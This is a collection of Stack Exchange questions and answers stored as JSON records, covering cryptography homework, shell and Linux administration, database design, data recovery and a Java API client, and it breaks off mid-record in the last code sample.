{  "id": "_cs.71845"  , "question": "I have encountered a problem in class, tried solving it and faced a problem, I will include my ideas, and the problems i faced.Assume F is a PRF,1.denote  $P_k(x) = F_k(x)  F_k(1^n)$ for any $n  N, k  \\{0,1\\}^n$ and $x  \\{0,1\\}^n$. Is P necessarily a pseudorandom function?2.denote $P_k(x) = F_k(x)  1^n$ for any $n  N, k  \\{0,1\\}^n$ and $x  \\{0,1\\}^n$. Is P necessarily a pseudorandom function?My solution:  I noticed that for every $k$ it happens that $P_K(1^n)=F_k(1^n)  F_k(1^n)=0^n$ therefore i thought that $P_k$ isn't a PRF and i constructed $D^o$  distinguisher, thus leaves me with $|P(D^{P_k(.)}(1^n)=1)-P(D^{f(.)}(1^n)=1)|=1-v(n)$ where v(n) is negligible.The question here is : do I need to show $v(.)$ and which function it is?I have assumed towards contradiction that $P_x$ is not a PRF, thus a distinguisher $D^o$ (with an oracle)  can distinguish that it is not random in PPT time ( please excuse my english).such that $|P(D^{P_k(.)}(1^n)=1)-P(D^{f(.)}(1^n)=1)|>\\frac1{P(n)}$ where $p(n)$ is a polynom. now that i have this assumption and understanding i created a new distinguisher that encloses $D$ and use it in order to get my contradiction- that F isn't a PRF if $P_x$ isn't.I have a bit of a problem with showing how the enclosing distinguisher will lead to a contradiction.I Hope that i was correct with my method, and if it is indeed a solution to these two problems. "  , "title": "creating new PRF from existing one"  , "tags": "cryptography;pseudo random generators"  } 
{  "id": "_unix.180943"  , "question": "I'm on a Mac but I think this is generally Unix-applicable.I'm in the process of learning shell scripting and there's something I seem to be missing. When I'm in the ordinary terminal, I can use scripting syntax like for loops and such in conjunction with commands to do stuff.But....bash opens an interpreter for shell scripting.Which is where I get confused, because isn't the terminal already an interpreter for shell scripting, as demonstrated by the fact that the scripting works when given to stdin?Bonus question: how is bash different from bash -i, which according to man starts an interactive session.....isn't that what happens when you just enter bash on its own? Which, to my eye is no different than being in the normal terminal in the first place..."  , "title": "Terminal vs bash?"  , "tags": "bash;shell;terminal"  , "accepted_answer": "When you launch a terminal it will always run some program inside it. That program will generally by default be your shell. On OS X, the default shell is Bash. In combination that means that when you launch Terminal you get a terminal emulator window with bash running inside it (by default).You can change the default shell to something else if you like, although OS X only ships with bash and tcsh. You can choose to launch a custom command in a new terminal with the open command:open -b com.apple.terminal somecommandIn that case, your shell isn't running in it, and when your custom command terminates that's the end of things.If you run bash inside your terminal that is already running bash, you get exactly that: one shell running another. You can exit the inner shell with Ctrl-D or exit and you'll drop back to the shell you started in. That can sometimes be useful if you want to test out configuration changes or customise your environment temporarily  when you exit the inner shell, the changes you made go away with it. You can nest them arbitrarily deeply. If you're not doing that, there's no real point in launching another one, but a command like bash some-script.sh will run just that script and then exit, which is often useful.The differences between interactive and non-interactive shells are a bit subtle and mostly deal with which configuration files are loaded, which error behaviours there are, and whether aliases and similar are enabled. The rough principle is that an interactive shell gives you the settings you'd want for sitting in front of it, while a non-interactive shell gives you what you'd want for a standalone script. All of the differences are documented explicitly in the Bash Reference Manual, and also in a dedicated question on this site.For the most part, you don't need to care. There's not often a reason to launch another shell, and when you do you'll have a specific purpose in mind and know what to do with it."  } 
{  "id": "_unix.146015"  , "question": "I have a bunch of redis service instances, and I would like to add a label to them in the output of the ps command.Currently I see:$ ps aux | grep redisroot     <snipped>   /usr/local/bin/redis-server *:6381                    root     <snipped>   /usr/local/bin/redis-server *:6380  Is there a way to have an output like this:root     <snipped>   /usr/local/bin/redis-server *:6381 item cache # <== labelroot     <snipped>   /usr/local/bin/redis-server *:6380 page cache # <== labeli.e. adding a text label to easily identify what each of those instances is for.Is there a way to do this instead of having to make copies of the binary?"  , "title": "Adding a label to start-stop-daemon service in process list"  , "tags": "ubuntu;start stop daemon"  , "accepted_answer": "Assuming redis-server does not have built-in support for changing its own command name after startup (some programs, especially daemons, do have such support), there are a few things you can do:Use an alternate command name.Although the first argument in the command line (argv[0]) is normally the name of the binary used to invoke a command (either its full path name or its base name), it doesn't have to be. And if it isn't, then the application itself probably won't notice or care. But shells launch commands with argv[0] set following this convention so you have to launch it in a special way.To do this, you would probably want to modify the /etc/init.d script that launches this daemon.Make hard links to the binary and launch those. This is similar to your suggestion of copying the binary, but copies are unnecessary. If you use hard links, the binary will not occupy any additional disk space and the code (text) of the multiple instances will all share memory, which won't happen with copies."  } 
{  "id": "_cogsci.3482"  , "question": "I've recently became aware that there's a whole field of quantified self - using various methodology to collect data about human performance in an attempt to quantify how the human body/brain works. I'm sure a lot of the methodology uses is not rigorous or scientific, but I'm interested nonetheless.Are there any third party tools/mods/apps that monitor performance of people playing video games? I'm looking at cameras that track people's eye motion, programs that run in background (like rescue time), potentially consumer-grade EEG data or mods that keep logs of games played. Here are some examples: In some strategy games, like starcraft, the concept of Actions per minute - APM is important, and the user is expected to manage dozens of different unit interactions and commands. It would be interesting to see a plot of APM vs game time vs time of the day. In some shooter video games, especially multiplayer, the concept of kill to death ratio is important - how many times a person has killed before being killed. I would expect that there's some kind of a correlation between cognitive performance and ability to stay alive while accomplishing objectives. It would be interesting to see how this is related to the time of day or the person's vital signs. If there already have been studies done on the subject, Im interested in who holds/has the data on "  , "title": "What Quantified Self reserach tools are there for measuring performance while playing videogames?"  , "tags": "methodology;video games"  } 
{  "id": "_softwareengineering.355484"  , "question": "I'm creating my own social media website, and I'm faced with a dilemma. There are 2 ways I could design my classes and database, but I don't know which one is more correct.Users can make posts on the website by uploading images, videos, andplain text. At first I wanted to make a class for each post typewhich they inherit from a parent post class, then write all the postattributes of the post class with a db class to one database table called posts.However, during the process I realized that this could be done in another way as well:Instead of the use of inheritance, I would create a table for each type of post (image, video, text), then write each type of user post to their own separate tables. Next I would create a 4th table that selects all the information from the other three tables and creates an object for each post. Then each post can be displayed on the website. This database would be in third normal form.If this was written in languages like java or c# I would definitely use inheritance because of my knowledge with those languages, but since I'm still learning about php, I'm not sure which design is better."  , "title": "Database and class design for posting user data to a website"  , "tags": "php;database design;inheritance"  , "accepted_answer": "I prefer the second option in this scenario. It would result in more flexibility and ultimately more functionality for your social media website.I am not sure for what exactly you are planning. But when I think of social media websites, I want to post text and attach videos and/or photos to that post. So it might make sense to allow both text and a photo to belong to a post. This is not possible and won't ever be possible if you go for the inheritance approach.In more general terms you might also consider the composition over inheritance principle. Although object-oriented languages seem to be centered around inheritance and you often learn inheritance as one of the core feature of OOP, it is often advisably to prefer composing objects instead of inheriting from them. Your second approach is exactly that: you compose the post with another (or several other) objects, which are text/photos/videos."  } 
{  "id": "_codereview.71459"  , "question": "I'm using Caliburn Micro to create a WPF application. So what I want to do here is a typical Master/Detail situation. I'm displaying a list of Users and you can can add/edit a User and save the changes back to the database.Everything works, but I'm just not sure if I'm creating the UserViewModels in the correct way. I lay awake at night yearning for a more elegant way.Anything else that I'm doing wrong please let me know. It greatly helps me out and I appreciate every comment I get. Even if you must call me an idiot. Many thanks in advance!PS: I left a few implementation details out to keep it brief. But let me know if anything else would help.public class UserWorkspaceViewModel : Conductor<UserViewModel>.Collection.OneActive{    private IUnitOfWork _unitOfWork;    private UserViewModelFactory _userViewModelFactory;    public UserWorkspaceViewModel(IUnitOfWork unitOfWork, IUserViewModelFactory userViewModelFactory)    {        _unitOfWork = unitOfWork;        _userViewModelFactory = userViewModelFactory;        LoadUsers();    }    public void LoadUsers()    {        var users = _unitOfWork.Users.GetByDepartmentId(1);        foreach (User user in users)        {            // Use the factory to create the ViewModel            UserViewModel viewModel = _userViewModelFactory.CreateInstance(user);            // Caliburn Micro specific: add user to the screen collection            this.Items.Add(viewModel);        }    }}Here's the UserViewModelFactory implementation:public class UserViewModelFactory{    private IUnitOfWork _unitOfWork;    public UserViewModelFactory(IUnitOfWork unitOfWork)    {        _unitOfWork = unitOfWork;    }    public UserViewModel CreateInstance(User user)    {        UserViewModel vm = new UserViewModel(_unitOfWork);        // Use AutoMapper to map properties from user to VM        Mapper.Map<User, UserViewModel>(user, vm);        return vm;    }}And finally here's the UserViewModel:public class UserViewModel : Screen{    private IUnitOfWork _unitOfWork;    #region Properties    // Properties like FirstName, LastName, etc.    #endregion    public UserViewModel(IUnitOfWork unitOfWork)    {        _unitOfWork unitOfWork;    }    public void Save()    {        if (this.Id == 0)        {            User user = Mapper.Map<UserViewModel, User>(this);            _unitOfWork.Users.Add(user);            _unitOfWork.SaveChanges();        }        if (this.Id > 0)        {            User user = _unitOfWork.Users.GetById(this.Id);            Mapper.Map<UserViewModel, User>(this, user);            _unitOfWork.SaveChanges();        }    }}"  , "title": "Creating list ViewModels in the correct way"  , "tags": "c#;dependency injection;wpf;mvvm"  } 
{  "id": "_cs.47833"  , "question": "How might one compute $4^{-1} \\mod 17$ I know the answer is 13. I'm just not sure how to arrive at that number, and can't find any good explanations. Any help would be great "  , "title": "Computing mod inverse?"  , "tags": "modular arithmetic"  , "accepted_answer": "In order to compute the inverse of $a$ modulo $n$, use the extended Euclidean algorithm to find the GCD of $a$ and $n$ (which should be 1), together with coefficients $x,y$ such that $ax + ny = 1$. The inverse of $a$ modulo $n$ is thus $x$.The extended Euclidean algorithm gives a constructive proof of Bzout's identity, which states that for all integers $a,b$ there exist integers $x,y$ such that $ax+by = \\mathrm{gcd}(a,b)$. A different proof shows that the minimal positive value of $ax+by$ (over all $x,y$) is $\\mathrm{gcd}(a,b)$.The extended Euclidean algorithm works in greater generality, for any Euclidean domain. An important example is the ring of polynomials over a field."  } 
{  "id": "_webapps.27994"  , "question": "My yahoo email account was sending spams at about 6:40pm today. I immediately updated my password. I also checked Recent Login Activity, but all recorded locations and IP addresses from 4:47 PM yesterday till now are my own. I wonder how my account was possible to send spams while the recorded login acctivities are normal?Thanks!ADDED: header of one spam sent and saved in my Sent folderFrom Tim Thu Jun 14 15:42:07 2012X-YMail-OSG: ivy79oIVM1k8kPIPgi4nfJh2JPdWcnzc7If0UmOfBQtmnkB nEmfLnPHJReceived: from [187.41.82.250] by web162602.mail.bf1.yahoo.com via HTTP; Thu, 14 Jun 2012 15:42:07 PDTX-Mailer: YahooMailWebService/0.8.118.349524Message-ID: <1339713727.16968.BPMail_high_noncarrier@web162602.mail.bf1.yahoo.com>Date: Thu, 14 Jun 2012 15:42:07 -0700 (PDT)From: Tim <tim@yahoo.com>Subject: HITo: bankofamerica@replies.em.bankofamerica.comBcc: xxx@hotmail.com, xxx@yahoo.com,     xxx@gmail.com, MIME-Version: 1.0Content-Type: text/plain; charset=us-asciiContent-Length: 71Yahoo notice of failure to deliver the spam to some intended addressSorry, we were unable to deliver your message to the following address.<bankofamerica@replies.em.bankofamerica.com>:Remote host said: 550 5.1.1 <bankofamerica@replies.em.bankofamerica.com> User unknown; rejecting [RCPT_TO]--- Below this line is a copy of the message.Received: from [98.139.212.148] by nm21.bullet.mail.bf1.yahoo.com with NNFMP; 14 Jun 2012 22:42:08 -0000Received: from [98.139.212.214] by tm5.bullet.mail.bf1.yahoo.com with NNFMP; 14 Jun 2012 22:42:08 -0000Received: from [127.0.0.1] by omp1023.mail.bf1.yahoo.com with NNFMP; 14 Jun 2012 22:42:08 -0000X-Yahoo-Newman-Property: ymail-3X-Yahoo-Newman-Id: 395299.5507.bm@omp1023.mail.bf1.yahoo.comReceived: (qmail 91992 invoked by uid 60001); 14 Jun 2012 22:42:08 -0000DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1339713728; bh=3k5IzdOBwo7Jx0VjjcU11ALbzymfvrJ2SheLqHngG7s=; h=X-YMail-OSG:Received:X-Mailer:Message-ID:Date:From:Subject:To:MIME-Version:Content-Type; b=mk5ksTksAaA1u+2GJaaQoJaClM5AQeOmUn4A9e3xYyJVpER/mKvPB6e5NJlZ2WG1zhOvnrMUHGgqwxMMa7lf3K9tHzGxhbLddTxfM0udgCC2Ws4d7ebgACo2lT/92A9qGxxPIXQCSAEiK8/C7P5rQ6ZAOGOv5xMHuSMY3lUzs9Y=DomainKey-Signature:a=rsa-sha1; q=dns; c=nofws;  s=s1024; d=yahoo.com;  h=X-YMail-OSG:Received:X-Mailer:Message-ID:Date:From:Subject:To:MIME-Version:Content-Type;  b=enSetbkOfQmTtzS221NeSMw+dVAbV6y4iFhhSye/tdOobEqExxBebaFrFsehnXbU10/kB00lr3EVDJFCcYoJT5Sp9a7bz1r9L3CezVCrqeolUUNSN4R9qjreJCxk3YxcTnm9f//PvAIPDsqadFmZyDXcT5FyUEfiwb0cyERbL90=;X-YMail-OSG: ivy79oIVM1k8kPIPgi4nfJh2JPdWcnzc7If0UmOfBQtmnkBnEmfLnPHJReceived: from [187.41.82.250] by web162602.mail.bf1.yahoo.com via HTTP; Thu, 14 Jun 2012 15:42:07 PDTX-Mailer: YahooMailWebService/0.8.118.349524Message-ID: <1339713727.16968.BPMail_high_noncarrier@web162602.mail.bf1.yahoo.com>Date: Thu, 14 Jun 2012 15:42:07 -0700 (PDT)From: Tim <tim@yahoo.com>Subject: HITo: bankofamerica@replies.em.bankofamerica.comMIME-Version: 1.0Content-Type: text/plain; charset=us-ascii"  , "title": "Yahoo email account was used to send spams"  , "tags": "spam prevention;yahoo mail"  , "accepted_answer": "You can have a virus. The one that sends e-mails. If you have at least one spam e-mail try to track computers that had received it in Received header. If it tracks down to your computer - you are vulnerable.They can just use your e-mail when sending spam. Nothing you can do unless your mail provider (Yahoo) would use something like DKIM or SPF."  } 
{  "id": "_unix.285976"  , "question": "I have a live distribution of Kali running on a usb with persistence. However, after installing updates and a few new software packages, the root drive is pretty much out of space.How do I go about resizing this? I've tried booting GParted on a separate live USB and extending the drive, however GParted puts a little yellow triangle to the left of the /dev/sdb1 partition and essentially locks it.I have also tried resizing the disk during runtime using resize2fs but to no avail. I have been at this for hours now and I'm at breaking point so if anyone could help me out i'd very much appreciate it. Below is a copy of my fdisk -l output:Disk /dev/sdb: 7.3 GiB, 7864320000 bytes, 15360000 sectorsUnits: sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisklabel type: dosDisk identifier: 0x0a9a1b1aDevice     Boot   Start      End Sectors  Size Id Type/dev/sdb1  *         64  6324223 6324160    3G 17 Hidden HPFS/NTFS/dev/sdb2       6324224  6485375  161152 78.7M  1 FAT12/dev/sdb3       6486016 15359999 8873984  4.2G 83 LinuxDisk /dev/loop0: 2.8 GiB, 2969686016 bytes, 5800168 sectorsUnits: sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytes"  , "title": "Expanding the Kali Root Partition"  , "tags": "partition;kali linux;gparted"  } 
{  "id": "_cstheory.33800"  , "question": "I'm trying to understand the paper : Dependent Types without the Sugar by implementing an interpreter and type checker for the language. In doing so, I've seen that the unfold t as x -> u syntax for recursive definitions (syntax is defined in Section 2.1) binds a variable, but I don't see why that's needed. None of the examples in the paper actually use the variable binding -- they all use a shorthand form unfold t (meaning unfold t as x -> x).I do see that the type checking rule for it (from section 5) uses the variable binding, but I don't understand the implications of this. As far as I can tell unfold t as x -> u is entirely equivalent to let x = unfold t in u.Can someone provide an example of when the variable binding is helpful or necessary? Is there some term that type-checks with the long form of unfold but not with the short form and let?"  , "title": "PiSigma: why does 'unfold' bind a variable?"  , "tags": "type theory;dependent type"  , "accepted_answer": "I don't think there's any magic/necessary reason. IMO, it's written that way to make it more straightforwardly obvious that unfold is an analytic/checking elimination rule; just like why split is written the way it is rather than being written as first and second projections, and why case is written the way it is rather than being written like uneither in Haskell. Re the analytic bit, note how the other elimination rules are either synthetic/inferring (beta) or bidirectional (bang)"  } 
{  "id": "_unix.4151"  , "question": "Closest I can come is:useradd --home / -r --shell /sbin/nologin someuserBut this creates an entry into /etc/htpasswd that looks something like this:someuser:x:100:100::/:/sbin/nologinI want that '/' gone, so that it looks like this:someuser:x:100:100:::/sbin/nologinWhich is achievable through usermod:usermod -d '' someuserBut I think this is a bit backwards.Any ideas?"  , "title": "How would you create a user with the HOME_DIR field in /etc/passwd completely blank?"  , "tags": "security;users;etc"  } 
{  "id": "_unix.114660"  , "question": "I'm aware of wget -i as a way to download a list of URLs. The only trouble is that I need to pass some different POST data to each one, which works for single urls using wget --post-data= but not for lists.I'm open to any CLI downloader, or even something in JS or Python. I would however like to get either a progress bar for each download or a log file updated each time a dl finishes, or some other way of knowing when a dl finishes."  , "title": "Download multiple URLs at once"  , "tags": "wget;download"  } 
{  "id": "_unix.317920"  , "question": "I am using Linux Mint 18 Xfce 64-bit.As you can see in the image below, for some reason left or right-snapping some windows like the Terminal, Emacs, etc. leaves these breaks in the middle and the bottom of the desktop (in the image you can see red behind these breaks - it's my desktop background). This does not happen for Thunar, Google Chrome or the majority of other programs. Any idea how to get rid of these breaks?A zoomed view:"  , "title": "Linux Mint Xfce window snapping bug"  , "tags": "linux mint;xfce;window manager"  } 
{  "id": "_webmaster.25519"  , "question": "i have over 100 urls in my website which i need to redirect:E.g./page/how-to-bake-chocolate-cookies/ will redirect to /cookies/how-to-bake-chocolate-cookies//page/contact/ will redirect to /contact-us/and so on...I want to make sure search engines will catch the new url without affecting my site's quality, ranking, etc...How can I best accomplish this and avoid users experiencing 404 errors and make sure Google will correctly index my new pages?"  , "title": "Redirecting URLs when launching a new website - how to avoid dropping page rank"  , "tags": "seo;search engines;htaccess;url rewriting;indexing"  } 
{  "id": "_datascience.13213"  , "question": "To be more specific, loss reserving models in actuarial science, such as the chain ladder method, can be expressed as GLMs. I have developed a predictive model using neural nets which takes into account some aspects of the insured (it is an individual risk model). Can the output of this model be safely used as an input to the insurance company's existing loss reserve model?"  , "title": "Are there pitfalls in using the output of machine learning model, such as a neural net as the input to a traditional GLM or similar?"  , "tags": "predictive modeling"  , "accepted_answer": "Theoretically there is no problem. I've seen tree models put as predictors in logistic models. NN as input into a GLM moodel makes sense. The ultimate decition should be made based on the predictability of the NN.   You have to mind a few issues:  model mantenance and deployment. The NN model would probably have more parameters than your vanilla GLM deployment might be more involved. You could live it frozen and never update it, and let the GLM model use the NN score as long as it adds to the GLM prediction.  interpretability. There might be managers whose acountability is to review risk, and they may not be comfortable with a NN. In that case feeding the NN results into a GLM might make it more acceptable, much as credit scores are used in some risk models. "  } 
{  "id": "_unix.104109"  , "question": "I need to have a very fast disk for keeping cache. How can I do that in Linux?"  , "title": "How to create memory-based disk in linux?"  , "tags": "linux;memory;disk"  , "accepted_answer": "Thanks to @Mat:# mkdir -p /mnt/ram# mount -t ramfs -o size=20m ramfs /mnt/ram"  } 
{  "id": "_codereview.139141"  , "question": "I want ls to print a message when run on an empty or full of dotfiles directory. Instead of:$ ls empty_dir/ dotfiles/$ I want:$ ls empty_dir/ dotfiles/empty_dir is emptydotfiles contains only hidden files$ If dir contains only dotfiles, and if the ls command is able to show them, the following should appear:$ ls dotfiles/dotfiles contains only hidden files$ ls dotfiles/ -A.hidden_dirI searched a solution for that behavior, but can't found anything, so end up to implement it myself, using zsh:# Wrapper around ls function, printing dedicated messages#  if directory is empty/full of hidden files.#  Parse parameters in order to call verbosels_onefile correctly.function verbosels() {    # extract options and filepaths    ls_options=    ls_filepaths=    for parameter in $@    do        #echo PARAM: $parameter        # it's an option if it's start with a dash        if [[ $parameter =~ ^-.* ]]; then            #echo OPTION            ls_options=$ls_options $parameter        else  # it's a path: call ls on it            #echo FILEPATH            # get escaped version of given filename            filepath=$(print -r -- ${(q)parameter})            #echo filepath: $filepath            ls_filepaths=$ls_filepaths $filepath        fi    done    # remove options surrounding spaces    ls_options=$(echo $ls_options | tr -d [:space:])    isnotfirst=  # set to true after the first iteration    # call verbosels_onefile for each filepath    for filepath in ${(z)ls_filepaths}    do        # print space only between ls calls        if [ $isnotfirst ]; then            echo   # line jump        else            isnotfirst=1        fi        #echo CMD: |verbosels_onefile $filepath $ls_options|        verbosels_onefile $filepath $ls_options    done}# Perform an ls call on only one directory/file, that must be in first parameter.# The other parameters remain untouched.# The ls call take into account any aliases on ls.# This function is called by the higher level verbosels function.function verbosels_onefile() {    if [ $1 ]; then        1=$1    else        1=.    fi    if [ -d $1 ]; then        # contains files (hidden included)        if [ -n $(command ls -A $1) ]; then            if [ -n $(command ls $1) ]; then                ls $@            else                # the directory is not empty, and contains only hidden files:                # print message only if the ls command returns nothing                # NOTE: run the ls command twice. Could be costly.                if [ -n $(ls $@) ]; then                    ls $@                else                    echo $1 contains only hidden files 1>&2                fi            fi        else            echo $1 is empty 1>&2        fi    elif [ -e $1 ]; then        ls $@    else        echo $1 doesn't exists 1>&2    fi}Remarks:seems over-complicatednon-perfect handling of some ls options, notably -l in case of only-dotfiles directory (print total 0)if a directory contains only dot files, the ls command is runned twice. Could be costly if the directory contains a lot of dot files.The following is not valid, because ls formatting (colors, columns,) are not kept:ls_result=$(ls $@)if [ $ls_result ]; then    echo $ls_resultelse    echo $1 contains only hidden files 1>&2fiI'm using zsh, because it provides some easier treatment. A solution involving only generalist bash could be better because of the portability.I'm looking for any readability/efficiency improvement, eventually for modules/programs that already do the job."  , "title": "`ls` indicates when directory is empty/full of dotfiles"  , "tags": "bash;shell;wrapper;zsh"  , "accepted_answer": "Portability issuesThe function collects the given options and when it finally calls ls,it puts the options at the end.Unfortunately this doesn't work on OSX,where the options must come before the filenames.Your remarksseems over-complicatedYes. Unfortunately, to get the behavior that you want,I don't think this can get much simpler.non-perfect handling of some ls options, notably -l in case of only-dotfiles directory (print total 0)Unfortunately, the only way to avoid that will only make the script even more complicated.if a directory contains only dot files, the ls command is runned twice. Could be costly if the directory contains a lot of dot files.Perhaps you forgot to count the 2 runs of command ls in the if-else chain.So in fact for each file the ls command is executed 4 times.Filenames with spacesThis will not work when the filenames have spaces:ls_filepaths=$ls_filepaths $filepathYou can make it work with filenames with spaces,and at the same time cleaner,by using arrays.Remove options surrounding spacesI'm not sure what's going on here:# remove options surrounding spacesls_options=$(echo $ls_options | tr -d [:space:])For example -l -a would become -l-a which will not work.Avoid negatives in variable namesIt's generally not recommended to use negatives in variable names like isnotfirst,because it could lead to strange conditions like not isnotfirst,which is hard to read and confusing.I suggest to rename it to first and use ! $first in conditions for a negative meaning.Terminology# Wrapper around ls function, printing dedicated messagesls is not a function, it's a command.For example, verbosels is a function.Looping over $@When looping over $@,you can omit the $@.So instead of this:for parameter in $@; doYou can write simply:for parameter; doPattern matchingInstead of matching by regular expressions like this:if [[ $parameter =~ ^-.* ]]; thenIt would be slightly simpler to use pattern matching like this:if [[ $parameter == -* ]]; thenSetting a variable to emptyInstead of this:ls_options=ls_filepaths=You can simplify as:ls_options=ls_filepaths=echo is the same as echo You can replace echo  with simply echo with no parameters."  } 
{  "id": "_unix.235869"  , "question": "Consider the following union mount:mount -t overlay -o lowerdir=/.pre-foo/lower,upperdir=/.pre-foo/upper,workdir=/.pre-foo/work overlay /fooI would like to obfuscate that /.pre-foo to minimize the chance of some process to modify my underlying folders while the union is mounted. I could get it with the following recursive mount:mount -t overlay -o lowerdir=/foo/lower,upperdir=/foo/upper,workdir=/foo/work overlay /fooMy question is: Is this safe? Is there any security and/or performance risk in mounting an overlay recursively?"  , "title": "OverlayFS: Is mounting /foo/lower:/foo/upper to /foo safe?"  , "tags": "overlayfs;union mount"  } 
{  "id": "_softwareengineering.264666"  , "question": "Should there be a separate code coverage report for unit and integration tests, or one code coverage report for both?The thinking behind this is that code coverage allows us to make sure that our code has been covered by tests as far as possible (as much as a machine can now anyway).Having a separate report is more convenient for us to know what has not been covered by unit tests, and what has not been covered by integration tests. But this way we cannot see the total coverage percentage."  , "title": "Separate code coverage reports for unit and integration tests, or one report for both?"  , "tags": "unit testing;code quality;integration tests;test coverage"  , "accepted_answer": "Above all, you need to have and analyse combined (total) coverage. If you think of it, this is the most natural way to properly prioritize your risks and focus your test development effort.Combined coverage shows you what code is not covered by tests at all, ie is most risky and need to be investigated first. Separate coverage reports won't help here, as these don't let you find out if the code is tested somehow else or not tested at all.Separate coverage analysis also can be useful, but it would better be done after you're done with combined analysis and preferably would also involve results of analysing combined coverage.Purpose of separate coverage analysis differs from combined one. Separate coverage analysis helps to improve design of your test suite, as opposed to analysis of combined coverage which is intended to decide on tests to be developed no matter what.Oh this gap isn't covered just because we forgot to add that simple unit (integration) test into our unit (integration) suite, let's add it -- separate coverage and analysis is most useful here, as combined one could hide gaps that you would want to cover in particular suite.From above perspective, it is still desirable though to also have results of combined coverage analysis in order to analyse trickier cases. Think of it, with these results, your test development decisions could be more efficient due to having information about partner test suites.There's a gap here, but developing a unit (integration) test to cover it would be really cumbersome, what are our options? Let's check combined coverage... oh it's already covered elsewhere, that is, covering it in our suite isn't critically important."  } 
{  "id": "_unix.234734"  , "question": "In Ubuntu I used sudo update-alternatives --config x-www-browserto set the default internet browser manually.In Manjaro I get:sudo: update-alternatives: command not foundI have set Firefox as the default in its settings and want it to stay so.After installing Chromium, the default browser is now Chromium, although I reconfirmed Firefox as such and in Chromnum settings it says: Chromium cannot determine or set the default browser.How to make Firefox default browser?"  , "title": "Set the default browser, system-wide, on Manjaro"  , "tags": "browser;manjaro"  } 
{  "id": "_unix.66138"  , "question": "I have a script (let's name it parent.sh) that calls some other scripts based on input parameters. Finally, it calls the script child.sh.child.sh requests user's input in case it find that some files already exists:Would you like to replace the configuration file with a new one? (Yes/No/Abort): Now, what I want to do it to simulate the keystroke of Y/y inside the parent.sh script in order to always overwrite the files.I cannot use expect.How can I do that? "  , "title": "`expect`-like behaviour in bash script"  , "tags": "bash"  } 
{  "id": "_unix.245471"  , "question": "I started the imaging of an AF/512e HDD by first running a following command:    ddrescue -n /dev/sdb2 drive_c.img mapfile.logUpon its completion I made a backup of mapfile.log and decided to run the splitting phase with direct disk access using the drive's physical sector size of 4K:    ddrescue -d -b4096 -r3 /dev/sdb2 drive_c.img mapfile.logHad I chosen a 512 bytes sector-size would I have scraped more from the bad sectors?As I write this, the splitting stage has finished and the bad sectors are being retried for the second time. Naturally, almost all bad blocks in the mapfile are of n4K size. Will I be able to scrape more off of them if I run the same command but with a 512 b sector?Thoughts and ConfusionFirst of all, I am not even sure if the use direct disk access was appropriate.The info file for ddrescue calls for direct disk access switch whenthe positions and sizes in the log file are ALWAYS multiples of the  sector sizewhich would mean that thekernel is caching the disc accesses and grouping them. So if my kernel had been grouping the requests, the smallest block in the mapfile should have been 8K or 16K. In my case, however, the mapfile contained plenty of 512 bytes blocks both unreadable and rescued after the first run had completed.During the second run the majority of the 512 b blocks were merged into 4K blocks. For example, a 512 b bad sector which was adjacent to the non-split block before the splitting phase got merged together with an adjacent bad sector. This seems fine to me. Probably, at the trimming phase a head on the hard drive wasn't able to read a 4K sector so it returned a 512 b bad sector to ddrescue. The trimming ended right there, and the block following the 512 b sector was marked as a non-split.What doesn't seem normal is having a 512 b bad sector like in this screenshot:How come a head is able to read a 4K sector but declare only a 1/8 of it unreadable? I was under impression that a physical sector is read atomically by a head? So if a part of it is bad, the whole sector is bad.This obviously raises a question -- is it possible to get data from a 4K partially bad sector by running ddrescue with or without direct access but with a 512 b sector size? Obviously something doesn't add up.BTW this is my first posted question so please excuse me if the format is not consistent with the forum or the question is too loaded. But that aside I would be grateful to get an input on any of the topics relevant to the main question i.e. Advanced Format, direct disk access, kernel caching etc. as everything I find is either too far from the case in point or clearly assumes expertise from the reader.Cheers!"  , "title": "Which sector size shall I choose to run ddrescue with direct access on an Advanced Format drive?"  , "tags": "hard disk;data recovery;ddrescue"  } 
{  "id": "_unix.217195"  , "question": "Every time I deploy a VPS server, I install VNC server.But every time I have to do this:yum groupinstall Desktopyum install tigervnc-serveryum install vncyum install firefox(etc.)Can I write an automated .sh script/file (or something else) thatI could run on every server to install VNC server automatically? Ifso, how?"  , "title": "Writing an install script for CentOS"  , "tags": "linux;shell;centos"  } 
{  "id": "_webmaster.85826"  , "question": "I am in a shared host that I have basic cli access.Inside public_html/ I host several addon domains, each in its own dir. Is it possible to make my main domain's document root inside another folder to achieve the following structure?public_html/   --maindomain_root/   --othersite1_root/   --othersite1_root/instead of: public_html/   --maindomain_file1   --maindomain_file2 (..etc)   --othersite1_root/   --othersite1_root/"  , "title": "How to change document root of main domain in cPanel shared host?"  , "tags": "apache;server;cpanel;shared hosting"  , "accepted_answer": "Sorry my question is actually wrong because I had the misconception that all document roots must live inside public_html/. I just moved them outside, and now public_html/ is just the doc root for my main domain. So I avoided to have scattered files and every site is in its own dir. "  } 
{  "id": "_codereview.119979"  , "question": "This program makes a call to an API (http://api.football-data.org/) and obtains data for fixtures of Chelsea FC for the next 100 days in JSON format. The JSON is parsed into a Java object and then displays match details in the console. I am looking for any possible improvements I could make to this program. Also, if there is a better way to parse JSON, please do mention it. import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.net.HttpURLConnection;import java.net.MalformedURLException;import java.net.URL;import java.util.ArrayList;import com.chelsea.fixtures.FixturesJsonParser;import com.chelsea.fixtures.FixturesJsonParser.FixtureDetails;import com.chelsea.fixtures.FixturesJsonParser.MatchResult;import com.google.gson.Gson;public class CfcFixture{    private static String getJson(String link){            HttpURLConnection conn = null;            try {                URL url = new URL(link);                conn = (HttpURLConnection) url.openConnection();                conn.setRequestMethod(GET);                conn.connect();                int status = conn.getResponseCode();                switch(status){                case 200:                case 201:                    BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream()));                    StringBuilder sb = new StringBuilder();                    String line;                    while((line = br.readLine())!=null){                        sb.append(line + \\n);                    }                    br.close();                    return sb.toString();                }            } catch(MalformedURLException e){                e.printStackTrace();            }catch (IOException e) {                e.printStackTrace();            } finally{                if(conn != null){                    conn.disconnect();                }            }            return null;    }     public static void main(String[] args){        // from api doc, CFC teamid is 61,         // timeFrame is next 100 days represented by n100        String link = http://api.football-data.org/v1/teams/61/fixtures/?timeFrame=n100;        String jsonFixturesData = 